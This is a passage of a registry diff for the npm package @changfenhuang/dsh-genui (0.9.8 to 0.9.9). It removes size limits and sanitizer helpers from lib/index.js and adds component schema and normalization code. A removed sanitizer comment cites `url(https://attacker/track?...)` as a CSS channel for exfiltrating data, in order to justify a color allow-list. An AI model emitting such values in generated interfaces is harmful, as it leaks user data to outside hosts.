@changfenhuang/dsh-genui 0.9.8 → 0.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +13 -0
- package/README.md +13 -8
- package/README.zh-CN.md +13 -8
- package/SKILL.md +5 -5
- package/lib/client.js +3 -3
- package/lib/index.js +1273 -338
- package/lib/types/client/blocks/advanced.d.ts +1 -1
- package/lib/types/client/blocks/checkbox.d.ts +17 -0
- package/lib/types/client/blocks/forms.d.ts +3 -8
- package/lib/types/client/blocks/state.d.ts +18 -14
- package/lib/types/client/dom-fence.d.ts +1 -1
- package/lib/types/client/genui-runtime/diagnostics.d.ts +18 -0
- package/lib/types/client/genui-runtime/index.d.ts +1 -0
- package/lib/types/client/genui-runtime/limits.d.ts +54 -0
- package/lib/types/client/genui-runtime/normalize.d.ts +15 -0
- package/lib/types/client/genui-runtime/schema.d.ts +73 -0
- package/lib/types/client/genui-runtime/value-utils.d.ts +18 -0
- package/lib/types/client/guard.d.ts +60 -71
- package/lib/types/client/interaction-store.d.ts +7 -2
- package/lib/types/client/panel-command.d.ts +1 -1
- package/lib/types/client/primitive-labels.d.ts +11 -0
- package/lib/types/client/spec.d.ts +17 -17
- package/lib/types/plugin/chart-contract.d.ts +6 -4
- package/lib/types/plugin/index.d.ts +1 -4
- package/package.json +74 -13
- package/src/client/GenuiBlock.tsx +27 -11
- package/src/client/blocks/advanced.tsx +6 -5
- package/src/client/blocks/charts.tsx +1 -1
- package/src/client/blocks/checkbox.tsx +60 -0
- package/src/client/blocks/diagram/index.tsx +1 -1
- package/src/client/blocks/forms.tsx +51 -28
- package/src/client/blocks/render-node.tsx +3 -16
- package/src/client/blocks/state.ts +18 -14
- package/src/client/dom-fence.tsx +2 -1
- package/src/client/fence-render.tsx +26 -15
- package/src/client/genui-runtime/diagnostics.ts +143 -0
- package/src/client/genui-runtime/index.ts +1 -0
- package/src/client/genui-runtime/limits.ts +54 -0
- package/src/client/genui-runtime/normalize.ts +115 -0
- package/src/client/genui-runtime/schema.ts +291 -0
- package/src/client/genui-runtime/value-utils.ts +67 -0
- package/src/client/guard.ts +314 -169
- package/src/client/index.tsx +3 -2
- package/src/client/interaction-store.ts +7 -2
- package/src/client/panel-command.ts +2 -1
- package/src/client/panel.tsx +1 -1
- package/src/client/primitive-labels.ts +37 -0
- package/src/client/spec.ts +17 -17
- package/src/client/toolview.tsx +2 -1
- package/src/index.ts +3 -6
- package/src/plugin/chart-contract.ts +7 -97
- package/src/plugin/index.ts +2 -6
- package/src/plugin/tool.ts +60 -40
package/lib/index.js
CHANGED
|
@@ -21,136 +21,8 @@ function wrapSingleComponentRoot(value) {
|
|
|
21
21
|
return root;
|
|
22
22
|
}
|
|
23
23
|
//#endregion
|
|
24
|
-
//#region src/client/
|
|
25
|
-
/**
|
|
26
|
-
const GENUI_LIMITS = {
|
|
27
|
-
/** Maximum nesting depth of the component tree. */
|
|
28
|
-
maxDepth: 8,
|
|
29
|
-
/** Maximum total nodes across the whole spec. */
|
|
30
|
-
maxNodes: 200,
|
|
31
|
-
/** Maximum length of any plain string field. */
|
|
32
|
-
maxString: 2e3,
|
|
33
|
-
/** Maximum length of a `code` body. */
|
|
34
|
-
maxCode: 12e3,
|
|
35
|
-
/** Maximum length of a mermaid source. */
|
|
36
|
-
maxMermaid: 8e3,
|
|
37
|
-
/** Maximum `grid` columns. */
|
|
38
|
-
maxGridCols: 12,
|
|
39
|
-
/** Maximum `tabs` count. */
|
|
40
|
-
maxTabs: 12,
|
|
41
|
-
/** Maximum `accordion` items. */
|
|
42
|
-
maxAccordionItems: 24,
|
|
43
|
-
/** Maximum `list` items. */
|
|
44
|
-
maxListItems: 50,
|
|
45
|
-
/** Maximum `select`/`radio` options. */
|
|
46
|
-
maxOptions: 50,
|
|
47
|
-
/** Maximum `table` rows / columns. */
|
|
48
|
-
maxTableRows: 50,
|
|
49
|
-
maxTableCols: 12,
|
|
50
|
-
/** Maximum `chart` data points per series. */
|
|
51
|
-
maxChartPoints: 60,
|
|
52
|
-
/** Maximum `plot` series and per-series parameters. */
|
|
53
|
-
maxPlotSeries: 8,
|
|
54
|
-
maxPlotParams: 6,
|
|
55
|
-
/** Maximum `scene3d` meshes. */
|
|
56
|
-
maxMeshes: 5,
|
|
57
|
-
/** Maximum `quiz` options. */
|
|
58
|
-
maxQuizOptions: 8,
|
|
59
|
-
/** Maximum `steps` / `timeline` / `breadcrumb` / `keyvalue` entries. */
|
|
60
|
-
maxSteps: 24,
|
|
61
|
-
maxTimelineItems: 24,
|
|
62
|
-
maxBreadcrumbItems: 12,
|
|
63
|
-
maxKeyValuePairs: 24,
|
|
64
|
-
/** Maximum `file-tree` nesting. */
|
|
65
|
-
maxTreeDepth: 6,
|
|
66
|
-
/** Maximum `diagram` nodes / edges / zones / focal accents (editorial
|
|
67
|
-
* complexity budget, mirroring diagram-design's §7 limits). */
|
|
68
|
-
maxDiagramNodes: 9,
|
|
69
|
-
maxDiagramEdges: 12,
|
|
70
|
-
maxDiagramZones: 3,
|
|
71
|
-
maxDiagramFocal: 2,
|
|
72
|
-
maxDiagramLabel: 14,
|
|
73
|
-
/** Maximum depth of an `echart` option object (prevents pathological nested
|
|
74
|
-
* ECharts configs from stalling the guard walk). */
|
|
75
|
-
maxEChartOptionDepth: 10,
|
|
76
|
-
/** Maximum length of any single array inside an `echart` option (prevents
|
|
77
|
-
* a model from stalling rendering with `series.data` of hundreds of
|
|
78
|
-
* thousands of points). */
|
|
79
|
-
maxEChartArrayLen: 500,
|
|
80
|
-
/** Maximum total entries (object keys + array elements) traversed while
|
|
81
|
-
* sanitizing an `echart` option. Bounds the walk so a pathologically
|
|
82
|
-
* large option object cannot stall the guard. */
|
|
83
|
-
maxEChartOptionNodes: 2e3
|
|
84
|
-
};
|
|
85
|
-
/** Is `v` one of `values`? (enum guard) */
|
|
86
|
-
function inEnum(v, values) {
|
|
87
|
-
return typeof v === "string" && values.includes(v);
|
|
88
|
-
}
|
|
89
|
-
/** String field: truncate a string to `cap`, or undefined when not a string. */
|
|
90
|
-
function str(v, cap) {
|
|
91
|
-
return typeof v === "string" ? v.slice(0, cap) : void 0;
|
|
92
|
-
}
|
|
93
|
-
/**
|
|
94
|
-
* Color field: the value lands in an inline `style` (background/stroke) or
|
|
95
|
-
* THREE.Color. Arbitrary CSS values are an exfiltration channel — a model
|
|
96
|
-
* (or a hostile spec) could emit `url(https://attacker/track?...)` and the
|
|
97
|
-
* browser would fetch it. Only formats that name a color pass: hex, rgb/hsl
|
|
98
|
-
* functions, and host design tokens (`var(--dsw-*)`). Anything else degrades
|
|
99
|
-
* to the component's default palette.
|
|
100
|
-
*/
|
|
101
|
-
const SAFE_COLOR_RE = /^(?:#[\da-fA-F]{3,8}|rgba?\([^)]{0,64}\)|hsla?\([^)]{0,64}\)|var\(--dsw-[\w-]+(?:,\s*#[0-9a-fA-F]{3,8})?\))$/;
|
|
102
|
-
function color(v) {
|
|
103
|
-
if (typeof v !== "string") return void 0;
|
|
104
|
-
const s = v.trim();
|
|
105
|
-
return s.length <= 64 && SAFE_COLOR_RE.test(s) ? s : void 0;
|
|
106
|
-
}
|
|
107
|
-
/**
|
|
108
|
-
* Link target field: only http(s) and mailto survive. `javascript:`/`data:`
|
|
109
|
-
* and every other scheme degrade to a plain-text node — the model's link is
|
|
110
|
-
* display, not an execution channel.
|
|
111
|
-
*/
|
|
112
|
-
function safeHref(v) {
|
|
113
|
-
if (typeof v !== "string") return void 0;
|
|
114
|
-
const s = v.trim();
|
|
115
|
-
if (s.length > 2048) return void 0;
|
|
116
|
-
return /^https?:\/\//i.test(s) || /^mailto:[^@\s]+@[^@\s]+$/i.test(s) ? s : void 0;
|
|
117
|
-
}
|
|
118
|
-
/** Media loads bytes, so accept only browser-reachable http(s) or same-origin
|
|
119
|
-
* relative paths. Active/local schemes and protocol-relative URLs are
|
|
120
|
-
* rejected. The renderer always keeps playback user-controlled. */
|
|
121
|
-
function safeMediaSrc(v) {
|
|
122
|
-
if (typeof v !== "string") return void 0;
|
|
123
|
-
const s = v.trim();
|
|
124
|
-
if (s === "" || s.length > 2048) return void 0;
|
|
125
|
-
if (/^https?:\/\//i.test(s)) return s;
|
|
126
|
-
if (/^[a-z][a-z0-9+.-]*:/i.test(s) || /^[/\\]{2}/.test(s)) return void 0;
|
|
127
|
-
return s;
|
|
128
|
-
}
|
|
129
|
-
/** Finite-number field: clamp into [min, max], or undefined when not finite. */
|
|
130
|
-
function num(v, min, max) {
|
|
131
|
-
return typeof v === "number" && Number.isFinite(v) ? Math.min(max, Math.max(min, v)) : void 0;
|
|
132
|
-
}
|
|
133
|
-
/** Integer field: clamp into [min, max], or undefined when not a finite integer. */
|
|
134
|
-
function int(v, min, max) {
|
|
135
|
-
return typeof v === "number" && Number.isFinite(v) ? Math.min(max, Math.max(min, Math.trunc(v))) : void 0;
|
|
136
|
-
}
|
|
137
|
-
/** Optional enum field: the value when it matches, otherwise undefined. */
|
|
138
|
-
function enu(v, values) {
|
|
139
|
-
return inEnum(v, values) ? v : void 0;
|
|
140
|
-
}
|
|
141
|
-
/** Plain object (not array, not null). */
|
|
142
|
-
function obj$1(v) {
|
|
143
|
-
return typeof v === "object" && v !== null && !Array.isArray(v) ? v : void 0;
|
|
144
|
-
}
|
|
145
|
-
/**
|
|
146
|
-
* Optional-field spread helper. `exactOptionalPropertyTypes` forbids
|
|
147
|
-
* `{ gap: number | undefined }`; computing the value into a const first and
|
|
148
|
-
* spreading `opt('gap', g)` keeps every optional field either absent or a
|
|
149
|
-
* plain value.
|
|
150
|
-
*/
|
|
151
|
-
function opt(key, value) {
|
|
152
|
-
return value === void 0 ? {} : { [key]: value };
|
|
153
|
-
}
|
|
24
|
+
//#region src/client/genui-runtime/schema.ts
|
|
25
|
+
/** Canonical enum domains shared by schema validation and repair. */
|
|
154
26
|
const TEXT_SIZES = [
|
|
155
27
|
"h1",
|
|
156
28
|
"h2",
|
|
@@ -174,7 +46,8 @@ const BADGE_TONES = [
|
|
|
174
46
|
const INPUT_TYPES = [
|
|
175
47
|
"text",
|
|
176
48
|
"email",
|
|
177
|
-
"password"
|
|
49
|
+
"password",
|
|
50
|
+
"color"
|
|
178
51
|
];
|
|
179
52
|
const CALLOUT_TONES = [
|
|
180
53
|
"info",
|
|
@@ -267,6 +140,880 @@ const ECHART_PRESETS = [
|
|
|
267
140
|
"pie",
|
|
268
141
|
"scatter"
|
|
269
142
|
];
|
|
143
|
+
const schema = (required, fields, aliases = {}, options = {}) => {
|
|
144
|
+
const optional = Object.fromEntries(Object.entries(fields).filter(([field]) => field !== "type" && !required.includes(field)));
|
|
145
|
+
const oneOfRequired = options.oneOfRequired ?? [];
|
|
146
|
+
const conditionalRequired = options.conditionalRequired ?? [];
|
|
147
|
+
return {
|
|
148
|
+
required,
|
|
149
|
+
fields,
|
|
150
|
+
optional,
|
|
151
|
+
aliases,
|
|
152
|
+
oneOfRequired,
|
|
153
|
+
conditionalRequired,
|
|
154
|
+
rules: [...oneOfRequired.map((fieldsInRule) => ({
|
|
155
|
+
kind: "one-of-required",
|
|
156
|
+
fields: fieldsInRule
|
|
157
|
+
})), ...conditionalRequired],
|
|
158
|
+
enums: options.enums ?? {},
|
|
159
|
+
nested: options.nested ?? {},
|
|
160
|
+
...options.validator === void 0 ? {} : { validator: options.validator }
|
|
161
|
+
};
|
|
162
|
+
};
|
|
163
|
+
const recordSchema = (required, fields, nested = {}, enums = {}) => ({
|
|
164
|
+
required,
|
|
165
|
+
fields,
|
|
166
|
+
enums,
|
|
167
|
+
nested
|
|
168
|
+
});
|
|
169
|
+
const nodeFields = { type: "string" };
|
|
170
|
+
const chartDatumSchema = recordSchema(["label", "value"], {
|
|
171
|
+
label: "string",
|
|
172
|
+
value: "number",
|
|
173
|
+
color: "string"
|
|
174
|
+
});
|
|
175
|
+
const chartSeriesSchema = recordSchema(["label", "data"], {
|
|
176
|
+
label: "string",
|
|
177
|
+
color: "string",
|
|
178
|
+
data: "array"
|
|
179
|
+
}, { data: chartDatumSchema });
|
|
180
|
+
const stepsRecordSchema = recordSchema(["title"], {
|
|
181
|
+
title: "string",
|
|
182
|
+
desc: "string"
|
|
183
|
+
});
|
|
184
|
+
const keyValueRecordSchema = recordSchema(["key", "value"], {
|
|
185
|
+
key: "string",
|
|
186
|
+
value: "string"
|
|
187
|
+
});
|
|
188
|
+
const timelineRecordSchema = recordSchema(["title"], {
|
|
189
|
+
title: "string",
|
|
190
|
+
desc: "string",
|
|
191
|
+
time: "string"
|
|
192
|
+
});
|
|
193
|
+
const diffRecordSchema = recordSchema(["path", "newText"], {
|
|
194
|
+
path: "string",
|
|
195
|
+
oldText: "string-or-null",
|
|
196
|
+
newText: "string"
|
|
197
|
+
});
|
|
198
|
+
const plotSeriesSchema = recordSchema(["expr"], {
|
|
199
|
+
expr: "string",
|
|
200
|
+
label: "string",
|
|
201
|
+
color: "string",
|
|
202
|
+
kind: "string",
|
|
203
|
+
params: "array"
|
|
204
|
+
}, { params: recordSchema(["name", "value"], {
|
|
205
|
+
name: "string",
|
|
206
|
+
value: "number",
|
|
207
|
+
min: "number",
|
|
208
|
+
max: "number",
|
|
209
|
+
step: "number",
|
|
210
|
+
animateTo: "number",
|
|
211
|
+
durationMs: "number",
|
|
212
|
+
loop: "boolean"
|
|
213
|
+
}) }, { kind: PLOT_KINDS });
|
|
214
|
+
const sceneMeshSchema = recordSchema(["shape"], {
|
|
215
|
+
shape: "string",
|
|
216
|
+
color: "string",
|
|
217
|
+
position: "array",
|
|
218
|
+
rotation: "array",
|
|
219
|
+
scale: "unknown",
|
|
220
|
+
size: "unknown"
|
|
221
|
+
}, {}, { shape: MESH_SHAPES });
|
|
222
|
+
function fileTreeRecordSchema(depth) {
|
|
223
|
+
return recordSchema(["name"], {
|
|
224
|
+
name: "string",
|
|
225
|
+
type: "string",
|
|
226
|
+
children: "array"
|
|
227
|
+
}, depth > 0 ? { children: fileTreeRecordSchema(depth - 1) } : {}, { type: FILE_TYPES });
|
|
228
|
+
}
|
|
229
|
+
const fileTreeNodeSchema = fileTreeRecordSchema(6);
|
|
230
|
+
const tabHolderSchema = recordSchema(["label", "items"], {
|
|
231
|
+
label: "string",
|
|
232
|
+
items: "nodes",
|
|
233
|
+
content: "nodes"
|
|
234
|
+
});
|
|
235
|
+
const accordionHolderSchema = recordSchema(["title", "items"], {
|
|
236
|
+
title: "string",
|
|
237
|
+
items: "nodes"
|
|
238
|
+
});
|
|
239
|
+
const diagramNodeSchema = recordSchema(["id", "label"], {
|
|
240
|
+
id: "string",
|
|
241
|
+
label: "string",
|
|
242
|
+
sub: "string",
|
|
243
|
+
type: "string",
|
|
244
|
+
x: "number",
|
|
245
|
+
y: "number",
|
|
246
|
+
w: "number",
|
|
247
|
+
h: "number",
|
|
248
|
+
tag: "string"
|
|
249
|
+
}, {}, { type: DIAGRAM_NODE_TYPES });
|
|
250
|
+
const diagramEdgeSchema = recordSchema(["from", "to"], {
|
|
251
|
+
from: "string",
|
|
252
|
+
to: "string",
|
|
253
|
+
label: "string",
|
|
254
|
+
kind: "string",
|
|
255
|
+
route: "string"
|
|
256
|
+
}, {}, {
|
|
257
|
+
kind: DIAGRAM_EDGE_KINDS,
|
|
258
|
+
route: DIAGRAM_ROUTES
|
|
259
|
+
});
|
|
260
|
+
const diagramZoneSchema = recordSchema(["label"], {
|
|
261
|
+
label: "string",
|
|
262
|
+
x: "number",
|
|
263
|
+
y: "number",
|
|
264
|
+
w: "number",
|
|
265
|
+
h: "number"
|
|
266
|
+
});
|
|
267
|
+
const diagramThemeSchema = recordSchema([], {
|
|
268
|
+
paper: "string",
|
|
269
|
+
"paper-2": "string",
|
|
270
|
+
ink: "string",
|
|
271
|
+
muted: "string",
|
|
272
|
+
soft: "string",
|
|
273
|
+
rule: "string",
|
|
274
|
+
accent: "string",
|
|
275
|
+
"accent-tint": "string",
|
|
276
|
+
link: "string"
|
|
277
|
+
});
|
|
278
|
+
/** Root GenUI specification metadata used by diagnostics. */
|
|
279
|
+
const GENUI_SPEC_SCHEMA = schema(["items"], {
|
|
280
|
+
title: "string",
|
|
281
|
+
gap: "number",
|
|
282
|
+
panel: "boolean",
|
|
283
|
+
append: "boolean",
|
|
284
|
+
items: "nodes"
|
|
285
|
+
});
|
|
286
|
+
/**
|
|
287
|
+
* Native component field metadata.
|
|
288
|
+
*
|
|
289
|
+
* This is intentionally explicit rather than inferred from TypeScript
|
|
290
|
+
* interfaces: the registry is also consumed at runtime by normalization and
|
|
291
|
+
* diagnostics, where erased interfaces are unavailable.
|
|
292
|
+
*/
|
|
293
|
+
const COMPONENT_SCHEMAS = {
|
|
294
|
+
accordion: schema(["items"], {
|
|
295
|
+
...nodeFields,
|
|
296
|
+
items: "array"
|
|
297
|
+
}, {}, { nested: { items: accordionHolderSchema } }),
|
|
298
|
+
audio: schema(["src"], {
|
|
299
|
+
...nodeFields,
|
|
300
|
+
src: "string",
|
|
301
|
+
alt: "string",
|
|
302
|
+
loop: "boolean"
|
|
303
|
+
}),
|
|
304
|
+
avatar: schema(["name"], {
|
|
305
|
+
...nodeFields,
|
|
306
|
+
name: "string",
|
|
307
|
+
color: "string"
|
|
308
|
+
}),
|
|
309
|
+
badge: schema(["label"], {
|
|
310
|
+
...nodeFields,
|
|
311
|
+
label: "string",
|
|
312
|
+
tone: "string",
|
|
313
|
+
icon: "string"
|
|
314
|
+
}, {
|
|
315
|
+
text: "label",
|
|
316
|
+
value: "label"
|
|
317
|
+
}, { enums: { tone: BADGE_TONES } }),
|
|
318
|
+
breadcrumb: schema(["items"], {
|
|
319
|
+
...nodeFields,
|
|
320
|
+
items: "array"
|
|
321
|
+
}),
|
|
322
|
+
button: schema(["label"], {
|
|
323
|
+
...nodeFields,
|
|
324
|
+
label: "string",
|
|
325
|
+
tone: "string",
|
|
326
|
+
full: "boolean",
|
|
327
|
+
small: "boolean",
|
|
328
|
+
icon: "string",
|
|
329
|
+
action: "string"
|
|
330
|
+
}, {}, { enums: { tone: BUTTON_TONES } }),
|
|
331
|
+
callout: schema(["content"], {
|
|
332
|
+
...nodeFields,
|
|
333
|
+
title: "string",
|
|
334
|
+
content: "string",
|
|
335
|
+
tone: "string"
|
|
336
|
+
}, { kind: "tone" }, { enums: { tone: CALLOUT_TONES } }),
|
|
337
|
+
card: schema(["items"], {
|
|
338
|
+
...nodeFields,
|
|
339
|
+
title: "string",
|
|
340
|
+
items: "nodes"
|
|
341
|
+
}, {
|
|
342
|
+
label: "title",
|
|
343
|
+
content: "items"
|
|
344
|
+
}),
|
|
345
|
+
chart: schema([], {
|
|
346
|
+
...nodeFields,
|
|
347
|
+
kind: "string",
|
|
348
|
+
data: "array",
|
|
349
|
+
series: "array"
|
|
350
|
+
}, {}, {
|
|
351
|
+
oneOfRequired: [["data", "series"]],
|
|
352
|
+
conditionalRequired: [{
|
|
353
|
+
kind: "required-if",
|
|
354
|
+
when: {
|
|
355
|
+
field: "kind",
|
|
356
|
+
equals: "line"
|
|
357
|
+
},
|
|
358
|
+
required: ["data"]
|
|
359
|
+
}, {
|
|
360
|
+
kind: "required-if",
|
|
361
|
+
when: {
|
|
362
|
+
field: "kind",
|
|
363
|
+
equals: "donut"
|
|
364
|
+
},
|
|
365
|
+
required: ["data"]
|
|
366
|
+
}],
|
|
367
|
+
nested: {
|
|
368
|
+
data: chartDatumSchema,
|
|
369
|
+
series: chartSeriesSchema
|
|
370
|
+
},
|
|
371
|
+
enums: { kind: CHART_KINDS },
|
|
372
|
+
validator: { name: "chart-renderability" }
|
|
373
|
+
}),
|
|
374
|
+
checkbox: schema(["label"], {
|
|
375
|
+
...nodeFields,
|
|
376
|
+
label: "string",
|
|
377
|
+
checked: "boolean",
|
|
378
|
+
action: "string",
|
|
379
|
+
group: "string"
|
|
380
|
+
}),
|
|
381
|
+
code: schema(["code"], {
|
|
382
|
+
...nodeFields,
|
|
383
|
+
lang: "string",
|
|
384
|
+
code: "string"
|
|
385
|
+
}),
|
|
386
|
+
col: schema(["items"], {
|
|
387
|
+
...nodeFields,
|
|
388
|
+
items: "nodes",
|
|
389
|
+
gap: "number"
|
|
390
|
+
}),
|
|
391
|
+
copy: schema(["text"], {
|
|
392
|
+
...nodeFields,
|
|
393
|
+
label: "string",
|
|
394
|
+
text: "string"
|
|
395
|
+
}),
|
|
396
|
+
diagram: schema(["kind", "nodes"], {
|
|
397
|
+
...nodeFields,
|
|
398
|
+
kind: "string",
|
|
399
|
+
variant: "string",
|
|
400
|
+
title: "string",
|
|
401
|
+
nodes: "array",
|
|
402
|
+
edges: "array",
|
|
403
|
+
zones: "array",
|
|
404
|
+
theme: "object"
|
|
405
|
+
}, {}, {
|
|
406
|
+
nested: {
|
|
407
|
+
nodes: diagramNodeSchema,
|
|
408
|
+
edges: diagramEdgeSchema,
|
|
409
|
+
zones: diagramZoneSchema,
|
|
410
|
+
theme: diagramThemeSchema
|
|
411
|
+
},
|
|
412
|
+
enums: {
|
|
413
|
+
kind: DIAGRAM_KINDS,
|
|
414
|
+
variant: DIAGRAM_VARIANTS
|
|
415
|
+
}
|
|
416
|
+
}),
|
|
417
|
+
diff: schema(["diffs"], {
|
|
418
|
+
...nodeFields,
|
|
419
|
+
diffs: "array"
|
|
420
|
+
}, {}, { nested: { diffs: diffRecordSchema } }),
|
|
421
|
+
divider: schema([], nodeFields),
|
|
422
|
+
echart: schema([], {
|
|
423
|
+
...nodeFields,
|
|
424
|
+
title: "string",
|
|
425
|
+
height: "number",
|
|
426
|
+
preset: "string",
|
|
427
|
+
data: "array",
|
|
428
|
+
series: "array",
|
|
429
|
+
option: "object"
|
|
430
|
+
}, {}, {
|
|
431
|
+
oneOfRequired: [[
|
|
432
|
+
"option",
|
|
433
|
+
"data",
|
|
434
|
+
"series"
|
|
435
|
+
]],
|
|
436
|
+
enums: { preset: ECHART_PRESETS }
|
|
437
|
+
}),
|
|
438
|
+
"file-tree": schema(["items"], {
|
|
439
|
+
...nodeFields,
|
|
440
|
+
items: "array"
|
|
441
|
+
}, {}, { nested: { items: fileTreeNodeSchema } }),
|
|
442
|
+
grid: schema(["items"], {
|
|
443
|
+
...nodeFields,
|
|
444
|
+
cols: "number",
|
|
445
|
+
items: "nodes"
|
|
446
|
+
}),
|
|
447
|
+
image: schema(["src"], {
|
|
448
|
+
...nodeFields,
|
|
449
|
+
src: "string",
|
|
450
|
+
alt: "string"
|
|
451
|
+
}),
|
|
452
|
+
input: schema([], {
|
|
453
|
+
...nodeFields,
|
|
454
|
+
label: "string",
|
|
455
|
+
placeholder: "string",
|
|
456
|
+
value: "string",
|
|
457
|
+
inputType: "string",
|
|
458
|
+
action: "string",
|
|
459
|
+
id: "string"
|
|
460
|
+
}, {}, { enums: { inputType: INPUT_TYPES } }),
|
|
461
|
+
json: schema(["value"], {
|
|
462
|
+
...nodeFields,
|
|
463
|
+
value: "unknown"
|
|
464
|
+
}),
|
|
465
|
+
keyvalue: schema(["pairs"], {
|
|
466
|
+
...nodeFields,
|
|
467
|
+
pairs: "array"
|
|
468
|
+
}, {}, { nested: { pairs: keyValueRecordSchema } }),
|
|
469
|
+
link: schema(["label"], {
|
|
470
|
+
...nodeFields,
|
|
471
|
+
label: "string",
|
|
472
|
+
href: "string"
|
|
473
|
+
}),
|
|
474
|
+
list: schema(["items"], {
|
|
475
|
+
...nodeFields,
|
|
476
|
+
items: "array"
|
|
477
|
+
}),
|
|
478
|
+
mermaid: schema(["code"], {
|
|
479
|
+
...nodeFields,
|
|
480
|
+
code: "string"
|
|
481
|
+
}),
|
|
482
|
+
plot: schema(["series"], {
|
|
483
|
+
...nodeFields,
|
|
484
|
+
series: "array",
|
|
485
|
+
xMin: "number",
|
|
486
|
+
xMax: "number",
|
|
487
|
+
yMin: "number",
|
|
488
|
+
yMax: "number",
|
|
489
|
+
title: "string"
|
|
490
|
+
}, {}, { nested: { series: plotSeriesSchema } }),
|
|
491
|
+
progress: schema(["value"], {
|
|
492
|
+
...nodeFields,
|
|
493
|
+
value: "number",
|
|
494
|
+
label: "string",
|
|
495
|
+
valueLabel: "string"
|
|
496
|
+
}),
|
|
497
|
+
quiz: schema(["question", "options"], {
|
|
498
|
+
...nodeFields,
|
|
499
|
+
question: "string",
|
|
500
|
+
options: "array",
|
|
501
|
+
explanation: "string",
|
|
502
|
+
id: "string",
|
|
503
|
+
action: "string"
|
|
504
|
+
}),
|
|
505
|
+
radio: schema(["options"], {
|
|
506
|
+
...nodeFields,
|
|
507
|
+
label: "string",
|
|
508
|
+
options: "array",
|
|
509
|
+
selected: "number",
|
|
510
|
+
action: "string",
|
|
511
|
+
group: "string",
|
|
512
|
+
answer: "unknown",
|
|
513
|
+
explanation: "string"
|
|
514
|
+
}),
|
|
515
|
+
row: schema(["items"], {
|
|
516
|
+
...nodeFields,
|
|
517
|
+
items: "nodes",
|
|
518
|
+
wrap: "boolean",
|
|
519
|
+
spacer: "boolean"
|
|
520
|
+
}),
|
|
521
|
+
scene3d: schema(["meshes"], {
|
|
522
|
+
...nodeFields,
|
|
523
|
+
title: "string",
|
|
524
|
+
meshes: "array",
|
|
525
|
+
ambient: "number",
|
|
526
|
+
background: "string"
|
|
527
|
+
}, {}, { nested: { meshes: sceneMeshSchema } }),
|
|
528
|
+
select: schema(["options"], {
|
|
529
|
+
...nodeFields,
|
|
530
|
+
label: "string",
|
|
531
|
+
options: "array",
|
|
532
|
+
action: "string",
|
|
533
|
+
selected: "number",
|
|
534
|
+
id: "string"
|
|
535
|
+
}),
|
|
536
|
+
slider: schema([], {
|
|
537
|
+
...nodeFields,
|
|
538
|
+
label: "string",
|
|
539
|
+
min: "number",
|
|
540
|
+
max: "number",
|
|
541
|
+
step: "number",
|
|
542
|
+
value: "number",
|
|
543
|
+
action: "string",
|
|
544
|
+
id: "string"
|
|
545
|
+
}),
|
|
546
|
+
spacer: schema([], nodeFields),
|
|
547
|
+
stat: schema(["label", "value"], {
|
|
548
|
+
...nodeFields,
|
|
549
|
+
label: "string",
|
|
550
|
+
value: "string",
|
|
551
|
+
delta: "string"
|
|
552
|
+
}),
|
|
553
|
+
steps: schema(["steps"], {
|
|
554
|
+
...nodeFields,
|
|
555
|
+
steps: "array",
|
|
556
|
+
current: "number"
|
|
557
|
+
}, { items: "steps" }, { nested: { steps: stepsRecordSchema } }),
|
|
558
|
+
submit: schema(["label"], {
|
|
559
|
+
...nodeFields,
|
|
560
|
+
label: "string",
|
|
561
|
+
action: "string",
|
|
562
|
+
resetAction: "string",
|
|
563
|
+
groups: "array"
|
|
564
|
+
}),
|
|
565
|
+
switch: schema(["label"], {
|
|
566
|
+
...nodeFields,
|
|
567
|
+
label: "string",
|
|
568
|
+
checked: "boolean",
|
|
569
|
+
action: "string"
|
|
570
|
+
}),
|
|
571
|
+
table: schema(["columns", "rows"], {
|
|
572
|
+
...nodeFields,
|
|
573
|
+
columns: "array",
|
|
574
|
+
rows: "array"
|
|
575
|
+
}, {
|
|
576
|
+
headers: "columns",
|
|
577
|
+
data: "rows"
|
|
578
|
+
}),
|
|
579
|
+
tabs: schema(["tabs"], {
|
|
580
|
+
...nodeFields,
|
|
581
|
+
tabs: "array"
|
|
582
|
+
}, {}, { nested: { tabs: tabHolderSchema } }),
|
|
583
|
+
text: schema(["content"], {
|
|
584
|
+
...nodeFields,
|
|
585
|
+
content: "string",
|
|
586
|
+
size: "string",
|
|
587
|
+
center: "boolean"
|
|
588
|
+
}, { text: "content" }, { enums: { size: TEXT_SIZES } }),
|
|
589
|
+
textarea: schema([], {
|
|
590
|
+
...nodeFields,
|
|
591
|
+
label: "string",
|
|
592
|
+
placeholder: "string",
|
|
593
|
+
rows: "number",
|
|
594
|
+
value: "string",
|
|
595
|
+
action: "string",
|
|
596
|
+
id: "string"
|
|
597
|
+
}),
|
|
598
|
+
timeline: schema(["items"], {
|
|
599
|
+
...nodeFields,
|
|
600
|
+
items: "array"
|
|
601
|
+
}, {}, { nested: { items: timelineRecordSchema } }),
|
|
602
|
+
video: schema(["src"], {
|
|
603
|
+
...nodeFields,
|
|
604
|
+
src: "string",
|
|
605
|
+
alt: "string",
|
|
606
|
+
poster: "string",
|
|
607
|
+
loop: "boolean",
|
|
608
|
+
muted: "boolean",
|
|
609
|
+
aspectRatio: "string"
|
|
610
|
+
}, {}, { enums: { aspectRatio: MEDIA_ASPECT_RATIOS } })
|
|
611
|
+
};
|
|
612
|
+
const GENUI_NATIVE_TYPES = new Set(Object.keys(COMPONENT_SCHEMAS));
|
|
613
|
+
//#endregion
|
|
614
|
+
//#region src/client/genui-runtime/normalize.ts
|
|
615
|
+
/** Deterministic GenUI alias and structural normalization. */
|
|
616
|
+
function record$1(value) {
|
|
617
|
+
return typeof value === "object" && value !== null && !Array.isArray(value) ? value : void 0;
|
|
618
|
+
}
|
|
619
|
+
function isNode$1(value) {
|
|
620
|
+
const candidate = record$1(value);
|
|
621
|
+
return candidate !== void 0 && typeof candidate.type === "string";
|
|
622
|
+
}
|
|
623
|
+
function normalizeAliasFields(value, path, type, warnings) {
|
|
624
|
+
const definition = COMPONENT_SCHEMAS[type];
|
|
625
|
+
if (definition === void 0) return value;
|
|
626
|
+
const out = { ...value };
|
|
627
|
+
for (const [alias, canonical] of Object.entries(definition.aliases)) {
|
|
628
|
+
if (!(alias in out)) continue;
|
|
629
|
+
const aliasPath = `${path}.${alias}`;
|
|
630
|
+
const keptCanonical = canonical in out;
|
|
631
|
+
if (!keptCanonical) out[canonical] = out[alias];
|
|
632
|
+
delete out[alias];
|
|
633
|
+
warnings.push({
|
|
634
|
+
kind: "alias",
|
|
635
|
+
path: aliasPath,
|
|
636
|
